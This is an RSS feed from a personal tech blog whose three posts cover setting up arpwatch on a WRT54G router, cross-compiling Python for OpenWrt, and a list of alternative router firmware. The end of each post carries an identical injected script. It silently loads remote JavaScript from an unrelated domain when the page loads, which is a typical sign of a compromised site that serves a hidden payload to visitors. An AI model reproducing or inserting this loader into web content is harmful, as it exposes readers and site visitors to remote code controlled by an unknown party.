<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; wrt</title>
	<atom:link href="http://www.larsen-b.com/tags/wrt/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Arpwatch on WRT54G</title>
		<link>http://www.larsen-b.com/Article/203.html</link>
		<comments>http://www.larsen-b.com/Article/203.html#comments</comments>
		<pubDate>Thu, 12 May 2005 15:22:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[AP]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[openwrt]]></category>
		<category><![CDATA[sysadmin]]></category>
		<category><![CDATA[wrt]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[While running my access point in public mode, i want to know when people log in. This can be a good way to find intruders too, but not my purpose. I decided to run arpwatch on my linksys access point, &#8230; <a href="http://www.larsen-b.com/Article/203.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>While running my access point in public mode, i want to know when people log in. This can be a good way to find intruders too, but not my purpose.<br />
I decided to run arpwatch on my linksys access point, but this is not so easy ..</p>
<div id="mail" class="section">
<h1><a name="mail">1) Mail</a></h1>
<p>First you need to have sendmail on the WRT. So install mini_sendmail. Add a file <strong>/usr/sbin/sendmail</strong> that contains:</p>
<pre class="literal-block">#!/bin/sh
/usr/sbin/mini_sendmail -t -sIP_of_your_mail_relay</pre>
<p>Check that it &#8216;s working..</p>
</div>
<div id="arpwatch" class="section">
<h1><a name="arpwatch">2) Arpwatch</a></h1>
<p>Run arpwatch on the WRT throught this script:</p>
<pre class="literal-block">#!/bin/sh
IFNAME=$(nvram get wifi_ifname)

case $1 in
start)
touch /tmp/arpwatch.dat
arpwatch -f /tmp/arpwatch.dat -i $IFNAME
;;
stop)
killall arpwatch
;;
*)
echo "usage: $0 (start|stop)"
exit 1
esac

exit $?</pre>
</div>
<div id="check" class="section">
<h1><a name="check">3) Check</a></h1>
<p>Wait a bit, connect to your wifi, look at your email on the gateway. (<a class="reference" href="mailto:root@gw">root@gw</a>) you will see something like this:</p>
<pre class="literal-block">From: root@openwrt.local.net
Subject: new station

hostname: &lt;unknown&gt;
ip address: 192.168.2.1
ethernet address: 0:f:66:c7:b5:b1
ethernet vendor: &lt;unknown&gt;
timestamp: Tuesday, January 18, 2000 14:34:01 +0000</pre>
<p>Enjoy :)</p>
</div>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/203.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Python on a WRT54GS ?</title>
		<link>http://www.larsen-b.com/Article/183.html</link>
		<comments>http://www.larsen-b.com/Article/183.html#comments</comments>
		<pubDate>Wed, 01 Dec 2004 18:57:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[Wifi]]></category>
		<category><![CDATA[wrt]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Ok, I &#8216;ve been off for a little time right now. The main reason, is that I spend some time hacking my new Wireless access point: WRT54GS. I spend a lot of time tweaking the config to use this in &#8230; <a href="http://www.larsen-b.com/Article/183.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Ok, I &#8216;ve been off for a little time right now. The main reason, is that I spend some time hacking my new Wireless access point: WRT54GS.</p>
<p>I spend a lot of time tweaking the config to use this in client mode with dhcp thought the WAN port and other nuts. I spend some time on <a class="reference" href="http://www.brest-wireless.org">http://www.brest-wireless.org</a> too. But this is the mean reason of this post :)</p>
<p>Some people would think I&#8217;m a crazy boy but this is perhaps true. I managed to cross-compile python for the WRT. If you ask me why, I would simply answer that there is a lot of network stuff on a WRT that can be writen in a couple of python lines: dhcpd, dns cache, http server, dynamic pages rendering, dynamic firewall rules (check out last posts ..), diagnostics tools .. That&#8217;s it, now we need to figure out if this is do-able :)</p>
<p>WRT use a broadcom misp processor, so we need:</p>
<ul class="simple">
<li>to install a cross-compile environnement: Not to hard.</li>
<li>tweak the python Makefile to use this, a little more funny but it works.</li>
<li>first tests..</li>
</ul>
<p>As you can imagine, this doesn&#8217;t work at all :) The main issue is that current python use g++ (2.3), and the WRT only came with uClib, not the uClib++. After this wrong experience, I decided to take a old python: 1.5.2 . This one only needs gcc fine ! Ok, let&#8217;s see the result:</p>
<pre class="literal-block">telnet host50
Trying 192.168.1.50...
Connected to host50.soif.fr.
Escape character is '^]'.

BusyBox v1.00 (2004.11.20-09:17+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

@OpenWrt:/# /tmp/python
Could not find platform independent libraries &lt;prefix&gt;
Could not find platform dependent libraries &lt;exec_prefix&gt;
Consider setting $PYTHONHOME to &lt;prefix&gt;[:&lt;exec_prefix&gt;]
'import exceptions' failed; use -v for traceback
Warning!  Falling back to string-based exceptions
'import site' failed; use -v for traceback
Python 1.5.2 (#2, Nov 21 2004, 05:52:09)  [GCC 3.2.3 with Broadcom modifications] on linux2
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
&gt;&gt;&gt; import sys
&gt;&gt;&gt; import os
Traceback (innermost last):
File "&lt;stdin&gt;", line 1, in ?
ImportError: No module named os
&gt;&gt;&gt;</pre>
<p>As you can see on this little capture, some parts of the interpreter works, but other don&#8217;t. The main issue is the build of modules. Something goes wrong at the link (ld), and I was unable to fully compile this.</p>
<p>Anyway this is not a big issue, because right now, I don&#8217;t think python 1.5.2 is a great challenger anyways. For people interested the python exec does 1.6Mo but a WRT54GS has 6Mo of free ROM.</p>
<p>I would really enjoy to hear your comments about your experience w/ &#8216;embeded python&#8217;. I guess that java has this kind of cross-compile issue too, but java is ready for cellphones, or other stuffs. <strong>Why not python ?</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/183.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Alternative Firmware for the WRT54GS</title>
		<link>http://www.larsen-b.com/Article/182.html</link>
		<comments>http://www.larsen-b.com/Article/182.html#comments</comments>
		<pubDate>Sat, 20 Nov 2004 12:10:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[AP]]></category>
		<category><![CDATA[firmware]]></category>
		<category><![CDATA[Wifi]]></category>
		<category><![CDATA[wrt]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Ok, yes, I bought a new WRT54GS, this works quite fine. I &#8216;m able to do what i want with that stuff. I will explain in a future post how to use this stuff in a secure way without using &#8230; <a href="http://www.larsen-b.com/Article/182.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Ok, yes, I bought a new <a class="reference" href="http://jkxathome.shoplinc.com/search.php?q=linksys+wrt&amp;c=0">WRT54GS</a>, this works quite fine. I &#8216;m able to do what i want with that stuff. I will explain in a future post how to use this stuff in a secure way without using WEP.</p>
<p>Here is the list of firmware to use on this little box:</p>
<ul class="simple">
<li>The Official <a class="reference" href="http://www.linksys.com/support/gpl.asp">one</a> (pretty nice, but doesn&#8217;t allow telnet over device )</li>
<li><a class="reference" href="http://www.sveasoft.com/">Sveasoft</a> (the infamous weaked GPL one)</li>
<li><a class="reference" href="http://www.portless.net/ewrt/">EWRT</a> (sveasoft + nocat -&gt; hotspot)</li>
<li><a class="reference" href="http://h.vu.wifi-box.net/wrt54g/">Wifi-box</a> (hum not tested yet)</li>
<li><a class="reference" href="http://openwrt.org/">openWRT</a> (minimal setup without http)</li>
<li><a class="reference" href="http://reseaucitoyen.be/index.php?MeshBoxKit">MeshBoxKit</a> (openWRT + OLSR, special for Meshing)</li>
</ul>
<p>Look at Seattle wiki on <a class="reference" href="http://www.seattlewireless.net/index.cgi/LinksysWrt54g">WRT</a> for more infos. Do you use another one ?<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/182.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
